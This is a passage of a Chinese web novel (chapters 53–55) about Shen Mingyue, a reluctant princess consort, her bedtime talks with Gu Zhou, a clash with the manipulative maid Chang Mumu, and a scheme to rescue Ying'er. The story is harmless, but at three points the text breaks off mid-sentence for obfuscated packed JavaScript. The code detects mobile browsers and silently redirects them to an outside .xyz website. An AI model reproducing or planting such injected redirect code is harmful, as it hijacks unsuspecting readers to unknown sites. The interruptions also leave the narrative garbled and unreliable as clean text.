人生就是这样,越渴望什么就越得不到什么,当日沈明月成了大人物,走到哪里都有一群人跟随,在无数监视的目光下,她度过了人生最无聊的一日。 装睡到下半昼,她实在忍不住便问海棠,“我能不能去见顾洲。” “殿下在前院有要务,后宅之人无召不得前去。” “那让他来见我!” 沈明月有些不开心,某人不愧是封了王,开始摆起谱来,但她没想到竟得到了同意的答复。 “是,奴婢这就去通传。” 海棠本该遣院内人传话给外院的侍从,再由侍从再去书房通报,但她也是一日未见主上,有些事需要回禀,于是亲自前去。 书房外徐铭正在门口守着,面上愁云惨淡,见她过来,破天荒地迎上来,端端正正行礼,小声道:“沈先生可好?” 海棠点点头。 但徐铭面色依旧凝重,“可知莺儿为何没一起来?” 海棠看了他一眼,奇怪他为何也会关心这个叫莺儿的人,犹豫着要不要如实回答,但最终还是摇了摇头。 徐铭几乎要绷不住,“好姐姐,能不能替我问问先生?” 海棠点点头,看向书房。 “宫中的嬷嬷还在里面。” 不等她问徐铭上赶着回答,正说话间,就听里传唤,顾洲命他带人好生送两位嬷嬷回宫。 这两位嬷嬷凝眉进来,此时已舒展笑颜。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707671|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们等到午后,不见府中之人给个说法,实在不能耽误回宫的时辰,便来向绍王请辞。 她们艰难地开口:“殿下,这传出去,怕是不好。” 顾洲刚刚送走来道喜的客人,有些疲乏,正靠在座位上轻揉着山根处舒缓,闻声后微微抬头,“王妃体弱,本王怎好做勉强之事,嬷嬷回去如实禀报即可。” 有了殿下这句话,嬷嬷们就彻底放心,日后若是有什么传言出来也不关己事了。 随后顾洲只说二人辛苦,赏赐了一些财物,命人送回。 她们走后海棠进来,将今日之事悉数回禀,当听到沈明月想见他时,立即起身去往内宅。 刚刚成为内宅主人的沈明月,此时正在屋里发愁,海棠不在,没有一个熟悉的人,想喝口热水都不知道找谁要。 她现在有些后悔没听海棠的话,今日这两餐用的太多,的确令脾胃不适。 好不容易盼来脚步声,却是有人进来传话,“殿下到。” 她像盼来亲人、找到队伍一样,眼中盛上了笑意,但也没忘海棠的叮嘱,不敢造次,规规矩矩地行礼问安,动作略显笨拙,看得顾洲一愣一愣的。 众婢女觉得古怪,经过晨起之事,都以为殿下被惹恼,今晚不会过来,但见王妃一句话就将人召回,还笑脸相迎,愈发摸不透绍王和王妃的脾气。 顾洲看看天色,吩咐人传膳,依旧是一众人服侍,席间沈明月怕有什么破绽,不敢说话,连筷子都不敢乱动。 终于罢了晚膳,婢女们识趣地退出,二人总算是有了单独说话的空间。 沈明月放下警诫,轻呼一口气后迫不及待地问道:“你是如何查出陈长生的?” “这件事说来话长,”顾洲倒了两杯茶,交给她一杯,“作战时就发现军中出了细作,我也因此负伤,原以为是北蛮人,没想到是自己人闹鬼。” “陈长生在庆功宴上指认你时,我就觉得不对劲,他虽是好大喜功之人,但更像是蓄谋已久,估计连如何处置都想好了,所以我没给你解释到机会,先行发落,一是想将你保护起来,二是想让他们放松警惕,露出破绽。” “但是我没想到徐铭会放走你,你可真是收了个好徒弟,任凭陈长生怎么拷问,都没有将你行踪说出来。” “徐铭伤得可重?”沈明月打断他。 “皮肉伤……”顾洲看了她一眼,有些不满,“我也负伤了,怎么不问问我?” “你这不是好好的么,徐铭……我又没见到他。” “放心,你这徒弟跟你一样精。” 沈明月听后满意地点点头,想着若到见到徐铭一定要夸夸他,而后继续听下去。 “我与董将军用计谋令陈长生落网,但他很快就被人杀害,是伪装成自杀,手段极其隐秘,那个叫小莲的女子也自尽了。” 沈明月用指甲划着茶杯边缘,边思考边问:“所以,陈长生只是个工具,他背后还有主谋?” “是,但是线索中断,朝中又催我回京,此事便搁浅了。” “原来是这样……”沈明月无奈中感到好笑,“我这一路艰难逃亡倒成了笑话,原来根本没人追捕。” 顾洲忙解释道:“虽没有追捕,但我一直在找你。” “合着我们的逃亡毫无意义,天知道我们这一路遭了多少苦,受了多少难,莺儿差点就死掉。”沈明月怔怔地看着杯子中淡绿色的茶水,像是陷入了回忆,“真是造化弄人……不过都过去了,其实你也没必要找我,我原本就打算在庆功宴后离开。” 顾洲正暗中责备自己,听到最后一句话,不由得眸色一紧,抬头问道:“为什么?难道你不想和我在一起……一起共事吗?” 对于这些,沈明月早已经释怀,她微微一笑,“顾洲,能认识你这么一个志同道合的朋友,一起完成一个共同的目标,我已经觉得很高兴了,但天下哪有不散的筵席,你有你的人生,我有我的人生……而且朱文说你也定了亲,我也怕未来嫂夫人会误会,不如早日分别的好。” 这些话,本来是她打算写在告别信里的,不想还有机会当面说出来。 原来她是这样想的,顾洲心绪复杂,有些失落也有些庆幸,问道:“那你有没有想过,这嫂夫人会是你自己?” “唉,真是阴差阳错,我真没想到会是这样。” “若当时你知道定亲之人是我,还会逃婚吗?”顾洲问得小心翼翼。 “会,我的人生不能被别人掌控,以前是,以后也是!” 沈明月回答得斩钉截铁,可有人却听得提心吊胆。 他紧紧握住手中的茶盏,低头饮了一口,试图隐藏内心的不安,不知她知道了真相,会是怎样的结果。 暮色侵入,但见顾洲似乎没有要走的意思,沈明月掌上灯,开口道:“你不回去休息吗?” 脱离了这个话题,顾洲略略轻松一些,“回哪里?新婚夫妻不睡在一起,你觉得合适吗?” 她想想也是这个道理,环视屋内,“那你睡床,我睡小榻。” “夜间寒凉,你睡床吧。”顾洲说完命人进来服侍洗漱。 当屋内再次只剩下二人时,氛围变得有些微妙。 53. 私语 彼时二人都换上了寝衣,顾洲转身向小榻走去,这小榻狭窄,只能侧身蜷腿,他调整姿势,想找个舒服的状态,正别扭间,两个红袖子拢着一团被子出现在视线中。 目光向上,见一身着红衣的仙子,黑发如瀑、肌肤胜雪、姿容如玉、神韵脱俗,恍若洛神宓妃降临人间。 他就这样盯着对方,眼神凝固了几瞬,深沉的眸子中蕴起的潮涌,比今晚的夜色还要深沉。 仙子没有说话,展开被子放到他身上,暖暖的被子沾染了少女的体香,沁人心脾,再去看仙子,在朦胧的烛影中对他点了一下头,而后隐入纱帐后。 他面上不动声色,却心花怒放,紧紧搂住被子,将头埋在其中猛吸了两下,陶醉在一片温暖柔软之中,良久才想起来说了句“多谢……” 仙子没有回应,抬头只见朱红色纱幔上摇曳烛火的光影,朦胧了里面窈窕的身形。 他有些不甘心,继续找话题,“今天你似乎很高兴。” “哪有?”沈明月下意识否认。 顾洲与海棠来时,她的确有这样的情绪,现在想来太过矫情,自己不该是这样的人。 这可回答一听就是在撒谎,她马上改口:“是有些高兴,终于能吃上饱饭了。” 但这声东击西的回答,却令仰望之人多了心,她以前最喜冷嘲热讽,也以为这是对他的阴阳,毕竟她受的苦难是他一手造成的。 顾洲抓紧被角,低下头不敢再看。 一阵沉默,终是沈明月先开口,“还没恭喜你晋升为王。” “你……是不是想嘲笑我?” “没有,我是真心的。” “还要感谢你那本《胜券》,没有它我真没把握能打赢,也当不上这绍王。” “你还挺谦虚,虽有战术,若将领不会排兵布阵也是无用。” 顾洲感慨,“这一仗,的确艰难……” 沈明月回忆战局,从前线撤下来的军士伤残严重,殷红的鲜血、残缺的肢体,都是对激烈战况最真实的记录,又记起庆功宴上他的手臂都不敢动,而她刚才还调侃一番,心中有些过意不去。 “你的伤……好了吗?” 顾洲扬了扬手臂,笑道:“早就好了。” “今日听海棠说了你这王府里的事,感觉一点也不亚于战场。” 沈明月今日此时才理解了他们在营州时对她的戒备,包括海棠的怀疑。 不料顾洲却不以为意,“我都习惯了。” “但你有没有想过,人生不该是这样。” “身在帝王家,想过怎样的人生,岂是我能说了算的。” 听着语气里的无奈和酸楚,沈明月没有再说下去,若是可以,又有谁愿意这样呢? 见她不说话,顾洲反问道:“你呢?有没有想过这辈子会是什么样?” “我?” 这个问题沈明月还真没想过。 读书时,她曾梦想成为一名教师,像母亲那样,桃李满天下,可这个梦想被枪炮击碎。 上战场后,所有的梦想和希望成为泡影,只留下“驱除倭寇,保卫国土”这一个,那时候整个民族几乎到了亡国灭种的境地,全国几十万军队驰援沪上,结果却是全军覆没,沪上沦陷。 这一世有了选择的权利,可要好好计划一番去。 她迟疑了一会儿回答:“还没想好,先救出莺儿……然后卖座房屋,我想那些嫁妆应该够……然后去感受一下这世间的和平安宁。” 沈明月说的断断续续,显然是刚刚计划出的未来。 顾洲像是吃了一颗秤砣,将心坠得沉沉的,失落如疯长的藤蔓,紧紧将他缠绕。 她计划的未来中,没有他。 他再也抑制不住感情,起身下榻半倚在床前,视线与沈明月齐平,“归根结底,这件事是我错了,希望你能原谅。” 沈明月有些糊涂,好端端地怎么突然说出这些话来,还有能感觉到对方呼吸的距离,让她有些不适应,微微抬起上半身,向后挪了挪,才明白他又在为安庆的事道歉。 “也谈不上什么原谅不原谅,这件事也不是你一个人的错,我早已不怪你。” “那可不可以留在王府,做我的王妃。” 沈明月瞪大双眼,捂紧胸口,“你胡说什么!我把你当朋友,当袍泽,你把我当什么?” 看着对方面上的惊讶,顾洲意识到唐突了她,赶紧退一步,否认道:“不,不,你误会了,我的意思是能不能暂时留在绍王府……毕竟刚刚新婚,王妃就……有些不大合适。” “王妃就怎么样?死了吗?”沈明月松了口气。 这倒是与她想到了一起,不过想换身份,除了假死也没什么好办法。 她一笑,“难道你是怕落得个克妻的名声?” 顾洲表情淡下来,笑意散去,说话声音都变小了,“怎么,你连如何离开都想好了?” “白日里无事瞎想的,反正柳慕云身体不好,病逝也正常,我手中还有沈明月的户籍,到时就自由了。” 顾洲目光彻底暗淡,打了几个喷嚏。 寒冷被夜色刻画得更深,顾洲的寝衣不厚,烛光自他背后罩来,隐约可见劲瘦的轮廓。 沈明月眼神闪躲,催他道:“快去睡吧!天凉会感冒的。” 顾洲哪里舍得走,搓了搓双臂,做出一副可怜的模样,“我能不能睡在这里,榻上实在伸不开腿。” 沈明月:“这……不好吧……” 见对方迟疑,他立即追补道:“你刚不是说我们是朋友,是袍泽吗?既然是朋友、是袍泽,就该有福同享有难同当。” 沈明月心软了,这毕竟是在他家,于是向里挪了挪,“上来吧。” 顾洲痛快地抱来被子躺下,沈明月则在二人之间用被子筑起一道矮墙。 顾洲轻声道:“这只防君子,不防小人。” “我知道你是君子。” 虽隔着一人的距离,可沈明月还是觉得有些太近,不断往里靠,与他有一搭无一搭地聊着。 “我需不需要去见你的家人。” “你想去吗?” “不想。” “那若父皇召见,我说就你体弱,正卧床静养。” “若是躲不过,你也不必为难,我同你去……不过我是体弱,我的确体弱得很……” 不知怎的,沈明月又想起那个传闻来,硬生生地让自己担了这个虚名,忍不住扑哧一笑,声音虽不大,但在幽暗的空间里显得十分清晰。 这声嗤笑,很容易让人猜到原因,可顾洲并没有发怒,坦然道:“你在笑我?我之前退婚,借着伤势不肯回京,不曾想竟让京中出现了这样的传言。” “没有,没有……”沈明月连连否认,又奇怪道:“你想要退婚来着?为什么?” “因为我已有心仪的女子。” 这个回答十分坚定,没有丝毫犹豫,沈明月心里轻轻咯噔了一下,但很快被好奇掩盖。 海棠? 她眨眨眼睛,脑中首先出现这个名字,但随后立即否定,在她的认知中,顾洲身边仅有这一个女子,但在她不了解的层面上,不知还有多少女子。 而现在春闺梦里人成了亲,估计要惹出那个女子许多眼泪来,她有些同情二人,“原来是这样,那她现在一定很伤心……” “不一定,我都不知道她喜不喜欢我。” 声音有些低落,原来是单相思,沈明月又有些不忍,鼓励似地说道:“怎么不去问问?” “不敢问……” “这有什么不敢的?去试试,不试怎么知道?” 顾洲一阵沉默,此时若说出心上人就是她,只怕她会逃跑。 沈明月听着对面深呼了一口气,似是有些遗憾,被逼成婚,这也是她的经历,她非常能共情这种感受,此事上二人倒是知己。 “所以你回京完婚,也是逼不得已!” “是……也不是。” 这回答里有故事,沈明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732078|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了兴趣,翻身趴在枕头上,侧脸看着他,“怎么讲?” “这其中的事,很复杂。”顾洲微微沉吟,反问道:“成亲之前,家里没告诉你要嫁之人是谁吗?” “没有,她们像看犯人一样看着我,我那时候真的是心如死灰了……唉,要早知道是你,我就不跑了。” 在安山,沈明月见到常嬷嬷时,觉得回到了起点,而在见到顾洲时,则感觉这个世界就是个八字环,环环相扣,处处关联。 但她的惆怅似乎是从顾洲身上转移过去的,后者听完反倒有些轻松,侧过身看着她,“为什么是我就不跑?” “嫁给你总比嫁给陌生人强。” 顾洲半开玩笑:“那可不一定,我在京中的名声可不大好。” 说起名声,沈明月记起在秦香楼见到他时,妥妥的纨绔子弟,而在后来的相处中,知道了他品性,也就渐渐忘记了这个事实。 风流成性的名声,不能人事的传言,她顿感顾洲的处境雪上加霜,想要得到这女子的芳心,好像有些困难。 不!是十分困难, 怪不得他不敢去问,但是这件事似乎又没办法来澄清,难不成要多去几次烟花之地来证明? 想到这些,她只觉自己心思龌龊,但又实在想不出别的方法,人言可畏,积毁销骨,只怕顾洲会不会这辈子都翻不了身。 不知为何,她非常想笑,但顾虑到当事人的感受,便使劲忍着,将脸埋在头枕头中,肩膀微微抖动。 “你……笑什么?”顾洲眼神微张,有些不理解。 “名声不好!”沈明月脱口而出,但立即察觉到说错了话,“对不起,我不是那个意思……不是,我没有这个意思。” “咯咯咯”的笑声从枕头缝中传出,在胡乱的解释中,真实的想法昭然若揭,顾洲忍无可忍,“你再笑,我就生气了!” “好,我不笑了……” 可这话音间还是有笑。 顾洲坐起身来,将她从枕头上拉起来,“以后不许再提这件事。” 看着他眼中愠色渐浓,沈明月自毁失言,少不得要认个错,夹着嗓子说道:“殿下息怒,小女子知错了。” 这柔媚的嗓音并没有让顾洲心软,而是记起她曾经用这伎俩来应付过自己。 这道歉一点诚意都没有,真是个小骗子,他不自觉地加重了手上的力道。 “啊!好痛,好痛,殿下饶命。” 声音越发矫揉造作,顾洲更加不悦,冷哼一声松开手,背过身去躺下。 沈明月揉揉手腕,也朝里躺下,小声嘀咕一句劝:“至于吗?小心眼。” 但接下来,沉闷的空气令她觉得十分煎熬,细细听着身后人的呼吸声,忽快忽慢,他还在生气。 经过一番激烈的思想斗争,她还是觉得有必要先道歉,毕竟这事起因在她。 转身倚靠着“矮墙”,试探着问道:“顾洲?” 没有回应。 “抱歉,我不该笑你,我保证以后再也不提此事。” 还是没有回应。 “别生气了,好不好?” 依旧没有回应。 “顾洲?我知道你没睡,你说句话,我都向你道歉了。” 她有些沉不住气,声音中甚至带了些委屈,伸手推了推负气之人。 谁料这人忽然转身,在离她半尺远的地方看着她,眼神中带着笑意,像是碾碎在黑夜里的星光。 “当真知错了?” 沈明月发觉被骗,心中不快,白说了许多服软的话,脸色难看起来,垂下双眸,长睫毛盖住眼底的失落,重新躺了回去。 这次换顾洲摸不到头脑,明明自己是假装生气,怎么她又不高兴了?难道要自己真生气才好? “沈明月?我没生气。” 可这话好像话已经说晚了,任凭他怎么道歉对方就是不理会,不多时便是均匀的呼吸声。 寒夜凄凄,烛光灯影,拉长了顾洲孤独怅然的身影。 54. 底牌 蜡炬成灰,微光遁隐,如流星泯灭于深邃黑暗之中。 过了许久,才有一缕晨色透过窗户洒进屋内,斑驳的光影在纱帐上跳跃,试图唤醒床上之人。 沈明月醒来,并没有想象中的舒爽,好似一块棉花堵着心口,周身经络不通透,整个人皱皱巴巴的感觉,翻身瞥见“矮墙”已拆,另一边空空如也。 想到昨夜被顾洲当猴耍,不禁又要气恼,脚步声近,知是他来,赶紧闭眼装睡。 “沈明月?”来人声音不大不小,听不出什么语气,“醒了吗?我今日去趟户部,午时不用等我用膳……我已安排好徐铭做你的侍卫,以后出入带上他。” 见床上之人不动,但从呼吸声可判断并未睡沉。 “我知道你醒了。” 沈明月只恨自己的伪装技术拙劣,很是不服气,翻身朝向里面,算是对他的回应。 顾洲昨晚几乎没睡,怎么也想不明白哪里惹她生气,后半夜又见身侧之人辗转,以为是地方狭窄,她睡着不舒适,便抱着被子回到小榻,熬到天亮。 见沈明月不愿说话,想她还未睡足,便轻手轻脚地拿了衣服出门更换。 门轴转动后,屋内又安静下来,隐匿于角落中的寂寥钻出,在纱帐间穿梭,在在空荡中游走。 沈明月懒懒地不想动弹,索性睡个回笼觉,昨晚心中不痛快,闭眼尽是噩梦。 还没等找到通往梦境的入口,纱帐被撩开,老巫婆焦急且略带责备的声音响起:“诶呦我的姑娘,怎么还睡着?应该起来服侍殿下更衣的。” 沈明月听着就别扭,正好一肚子气没处发泄,骤然起身,秀眉轻蹙,眼中闪过一抹不耐烦。 “什么叫应该?他有手有脚不会自己穿?非等着人伺候,惯得毛病!” “快住嘴!”常嬷嬷的语气近乎斥责,“姑娘身为王妃,就该尽王妃的本分,为何昨晚又拒绝殿下?还委屈殿下睡小榻。” “昨晚?我明明……是他……” 沈明月想解释,但很快察觉到思路不对,真是被气晕了,差点落入自证的陷阱,此时辩解就等同于默认。 仔细回忆昨晚说过的话,难道是那几句装可怜的道歉求饶声被她听去了? 她冷笑一声,不怀好意地说道:“嬷嬷怎么有听墙角的喜好,在柳家的时候没少干这事吧!等回去我可要好好问问姨娘。” “姑娘,你……”常嬷嬷被噎得哑口无言。 沈明月还了她一个白眼,不等婢女进来,自己下床更换衣衫。 常嬷嬷犹不死心,拿起外袍,“恕老仆多嘴,姑娘不与殿下圆房,奴婢回家也不好交代。” “哦?”沈明月眼神流露出怀疑,“嬷嬷有什么不好交代的?我已经兑现诺言,柳家还会为难你什么?” “姑娘此言差矣,嫁是嫁了,可未行周公之礼,终究不是夫妻,这过日子呀,若想过得长久,床笫之事必不可少,姑娘生得漂亮,肯定能留住殿下的心。” 沈明月满脸不屑,“嬷嬷该知道,以色侍人,色衰而爱驰。” 常嬷嬷耐着性子,为她整理着衣袖,继续劝说:“这天地间的女子,未嫁从父、既嫁从夫,殿下是姑娘和柳家以后要倚靠和仰仗的贵人,万不可得罪。再者殿下是天家人,想要什么样的女子没有,姑娘拒绝两次表表矜持也就行了,可别千万让殿下失了耐心。” 沈明月脸色变了又变,什么三从四德,那是道德捆绑,是封建糟粕,她沈明月,只会遵从自己的本心。 但跟常嬷嬷理论这些,只会是鸡同鸭讲,浪费口舌,于是不予理会。 常嬷嬷低着头未看见她脸上愠色,继续絮叨:“方才奴婢见殿下满脸不悦,想必是恼了,一会儿奴婢命厨房做些可口的饭食,今晚姑娘务必要留住殿下。” 沈明月压着怒火,拂手将袖子从她手中抽出,既然她讲尊卑,那就借“王妃”的身份来压压她。 “嬷嬷好大的口气,怕是忘了自己的身份,吩咐绍王府的厨房也就罢了,还妄图对本王妃指手画脚。” 常嬷嬷哪敢吩咐厨房,不过是想打着“王妃”的幌子去说,小心思被戳破,她慌忙收了手,露出一个讨好的笑容,“奴婢哪敢,不过是为了王妃好。” “为我好?这句话你没说够,我听都听够了!你们不过都是为了自己,将我一个人推入火坑。” 沈明月说着心头一紧,眼底掠过一丝侥幸,若不是顾洲,她当真是入了刀山火海。 常嬷嬷心虚,面上一阵青白,心中愤恨,这妮子还真拿起王妃的派来,不知天高地厚了。 她没有让步,“姑娘这话就错了,出阁前姑娘可是说过,与柳家一荣俱荣、一损俱损。实话告诉姑娘吧,老爷吩咐过,姑娘什么时候怀上殿下的孩子,奴婢什么时候再回去。” “什么?”沈明月难以置信,“那莺儿呢?” “至于莺儿,就要看姑娘是否能维护柳家喽~” 常嬷嬷好似有了把握,将尾音拉得极长。 沈明月手握成拳头,将指节捏得咯咯作响,万没想到柳家会留这一手,原计划明日回门时将二人互换,从此天下太平,怎料柳家竟然想长期挟制她。 她眯起眼睛,聚拢阴霾,“你难道不怕我对你下手?” “老爷和姨娘对奴婢恩重如山,奴婢自然尽心服侍王妃。” 沈明月大抵明白了其中的利害关系,常嬷嬷一家皆是柳府奴仆,倚仗柳家而活,柳家拿准了她不会背叛,而她又拿准了自己会投鼠忌器。 一时间怒气翻涌,眼前人若是男子,只怕她这一拳早就挥过去了,再顾不得什么体面,破口大骂:“无耻!堂堂户部侍郎,官宦世家,竟然言而无信,作出背约之事,我已经按你们说做了,你们为什么要这样。” 见她急了,常嬷嬷似有恃无恐,更加得意,“姑娘还是乖乖听话,一切都是为了姑娘……” 话音生生被一声冷笑斩断,常嬷嬷抬头正见两道带火的目光,直逼得她倒退两步,火光铺天盖地烧过来,脚下不慎,一屁股坐倒在地,虽然疼痛但却不敢出声,嚣张的气焰瞬间化为乌有。 她似乎知道怕了,眼中流露出惊恐,未想到大姑娘也会有狠厉的一面。 沈明月迫近,俯身揪住她的衣襟,“又是为我好!你就不会换句话?老虎不发威你当我是病猫?” 看着对方慌乱的眼神,她意识到常嬷嬷已亮出底牌,忽觉这样硬刚不是上策,脑子一转有了谋划。 眨眼间怒意消散,换上笑模样,可这笑未达眼底,眸中是火焰燃尽后的冰冷。 她直起腰来,开口悲凉,恍若秋风中飘零的碎叶。 “哈哈,好,很好,的确是为了我好,离开这里我还能去哪里呢?若惹得殿下生气,将我杀了又该如何是好呢?你说是不是,我的好嬷嬷?” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744335|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一怒一笑,无缝切换,大姑娘疯癫的样子让常嬷嬷后背发凉,头皮阵阵发麻,真担心她是得了失心疯了。 还未等她有所反应,就听头顶传来声音。 “海棠,海棠!” 婢女们应声而入,海棠看了一眼地上的嬷嬷后屈身一礼:“王妃有何吩咐。” “常嬷嬷摔了一跤,快扶她回去休息。” 海棠赶紧命人将其扶出,而后又吩咐人收拾屋子,服侍王妃梳妆。 早膳备好,沈明月气滞于胸,无半点食欲,甚至有些想吐,她象征性地用了两口粥,而后进来两个嬷嬷,回禀明日归宁的流程及礼仪。 繁文缛节令人头痛,在计划中根本不需要这些。 终于她打断念经一般的话语,“说了许久,嬷嬷们也去喝口茶润润嗓子。” 嬷嬷识趣地退出后,她对海棠道:“让徐铭来见我。” 海棠没有犹豫:“是。” 沈明月对海棠这股痛快劲非常满意,对海棠自身也十分满意,妓女、侍卫、婢女,每个角色都被她演绎得足够到位,挑不出一点毛病。 徐铭到时,沈明月正慢慢品着一盏茶,只有这淡淡的茶香,才能舒缓她一身的烦躁。 “卑职徐铭拜见王妃,王妃康安。” “起来吧。”沈明月说完,试着一抬手,周围的婢女,包括海棠,果然纷纷退下。 没了外人,徐铭一改严肃,笑嘻嘻地说道:“沈先生,学生向先生问安。” “起来,坐。”沈明月给徐铭倒了盏茶,感慨道:“教了十几个徒弟,也就你还把我当先生。” 徐铭却不敢接也不敢坐,“先生现在是王妃,这茶卑职可不敢喝。” “你看你,这点就不如海棠明白,这声‘先生’都叫了,还当我是王妃、你是侍卫吗?” 徐铭嘿嘿一笑,双手接过茶盏喝了一口,“真没想到先生竟然会是王妃,当初为了找先生,殿下可是费了好大一番功夫呢。” 沈明月:“哦,是吗?” 见她疑问,徐铭赶紧住嘴,使劲点点头,殿下可是交代过要保密,他一兴奋差点说漏嘴。 但他心里一直提溜着一个人,还未想好如何开口,就听他的先生压低音量,“别的先不说,莺儿还在柳家,想救她我自己一个人不行,你得帮我。” “我也正想问先生此事,先生打算怎么做?” “我计划今日去柳家,但是不能带上她。” 沈明月说完用眼神示意了一下窗外,又看着徐铭,想他应该知道自己说的是谁。 徐铭傻乎乎地问道:“谁?” 沈明月无奈闭眼叹了口气,蘸着茶水在桌上写了个“棠”字。 “先生是说她呀,这事没必要瞒着她吧。” “没瞒着她,她现在是这院子里的老大,对我有戒心,我担心她会阻止。” 徐铭笑容凝固,嘴角弧度变平,疑惑道:“她知道莺儿的事?” “她不知道吗?”沈明月仔细回忆了一下,确定这事与海棠提起过,肯定道:“不,她知道。” “这个可恶的女人!我昨日还问过她,她说不知道。” 沈明月怕冤枉了海棠,又跟徐铭询问了他们沟通的时间,才确认了的事实。 徐铭气得站起身来,恨不得现在就出去教训她一顿,但被沈明月按住。 “稍安勿躁,我有一计。” 55. 计划 半日闲暇,沈明月很紧张,在脑中演绎了无数情景,这场计划存在太多变数,要做好充足应对。 午膳时,她忍着不适故意多吃两口,午憩时打着消食的借口去往花园散步。 王妃出行果然是大阵仗,只是去趟花园就有无数婢女跟随,奉茶的、执巾的,持暖炉的、抱软垫的,准备随时侍奉。 行了一段路,沈明月无心观景,只想着如何打发了她们,忽而一个小婢女忍不住困倦,悄悄打了个哈欠,被海棠瞧见便要罚她。 沈明月顺水推舟,“午后困顿也是常事,都去休息去吧,这里有海棠和常嬷嬷就好。” 王妃开恩,海棠无法反驳,众婢女谢恩后退下,剩下三人各怀异心继续前行。 常嬷嬷见一点小错就要别罚,赶紧收回四处张望的目光。 清晨时经历了一场恐怖,她回去后自省,认识到是自己太过急切,她想大姑娘是吃软不吃硬的主,只要好言相劝,假以时日必定能遂老爷和姨娘的愿。 当然,她也未将罪责全然怪在自身,这两日上婢女们敬她是王妃陪嫁,都十分客气,以至她以娘家人自居起来。 往花园深处走越新奇,亭榭楼阁、小桥流水、九曲回廊、翠竹掩映,虽已是寒冬时节,池子里的莲花鲜艳如初,丝毫看不出颓败之色,一处小院子里有着平民百姓这辈子都见不到的物华天宝。 不愧是邺京帝王家,常嬷嬷心中忍不住赞叹,她跟着柳家辗转多地,自诩见过世面,殊不知是其它州府的兴盛不及京城的十分之一。 注意力正被山石处的几声鹤鸣吸引,忽听大姑娘唤她,且语气不像是只唤了一次,赶紧上前,“姑……王妃有何吩咐。” 沈明月抬头看着耸入云霄的竹竿,开口道:“嬷嬷身子可好些?是我不好,让嬷嬷受了委屈。” 常嬷嬷从没在大姑娘这得到过好脸色,如今竟听到道歉的话,真是好大的面子,心想刚才屏退众人,大约也是为了说这句话。 她受宠若惊,笑着回应:“王妃哪里的话,原是奴婢说错话,该罚。” 沈明月微微一笑,声音夹杂着苦涩,“我只身入王府,好比这竹子一样孤独,以后嬷嬷就是我的亲人。” 话一出口,她心虚不已,这拙劣的演技和说辞,连自己都不信,又怎能骗得过别人? 悄悄看了一眼身侧的海棠,见她低着头没什么反应,但还是前行了两步,想离她远些。 常嬷嬷虽不理解竹子和孤独有什么干系,但悲戚的语调让她有所触动,失口唤了一声:“大姑娘……” “咳,咳咳……”沈明月捂着胸口,柔弱道:“未想午后也如此寒凉。” “王妃身子弱,不如回去休息,”常嬷嬷上前一步,握住她的手,果真是寒凉。 沈明月不愿与她触碰,将手抽出来搓了搓,“午时贪多,只怕现在休息会积了食。” “奴婢去给姑娘拿件衣裳。” 常嬷嬷说完,忽觉这境况似曾相识,大姑娘在青城时就是这副模样,担心又要玩什么花样,迟疑着没有挪动。 沈明月见她未动,又叫了一声:“嬷嬷?” “王妃不要乱走,就在这里等待。”常嬷嬷怕自己说得太过直白,找补道:“这花园太大,奴婢回来怕寻不到王妃。” 但一个“乱”字,已被沈明月猜出了她的担忧,送上定心丸,“嬷嬷放心,现在是在王府,又有海棠在,我能怎样?” “你说是不是?海棠?” 海棠正猜测她到底要做什么,忽然被提及,未想好如何作答,只行礼回应。 “嬷嬷快去快回,我在那里等你。” 沈明月抬手指了指繁枝后处楼阁,远远可见牌匾上书“千星阁”三个大字。 “是。”常嬷嬷这才放心前去。 看着巫婆的背影,沈明月嘴角浮上一抹冷笑,但还没笑尽兴,就听身后冷冷的声音响起。 “沈明月,你要做什么?” 自她屏退婢女开始,海棠就猜测她不怀好意,但看不出她的意图,不动声色冷眼旁观,在她千方百计撵常嬷嬷离开时,确定了对方的目标是自己。 果然还是被她察觉到了,沈明月轻叹一声转过身,带着戏谑的笑,伸手摸向海棠嫩滑的脸蛋,“呦,美人,差点把你忘了。” 海棠早已做好防备,迅速作出反应,身形一闪,抓住伸过来的手腕。 沈明月握掌为拳,绷紧筋脉,用另一只手反抓海棠手腕,一扭一转,便挣脱开。 之后倒退一步,双掌做八卦掌起手势,身体重心后移,右脚向前画半圆点地,投去挑衅的目光。 “切磋切磋?” 海棠不由得嘴角紧绷,眉心微动,观察她的姿势站位,凝神思考应对之策。 刚有些头绪,准备迎战之时,忽然眼前一黑,头被一个布袋罩住,身体也被绳子捆住。 “放开,放开我!”她使劲挣扎,万没想到沈明月会来这一手,听偷袭之人的气息,竟然是徐铭, 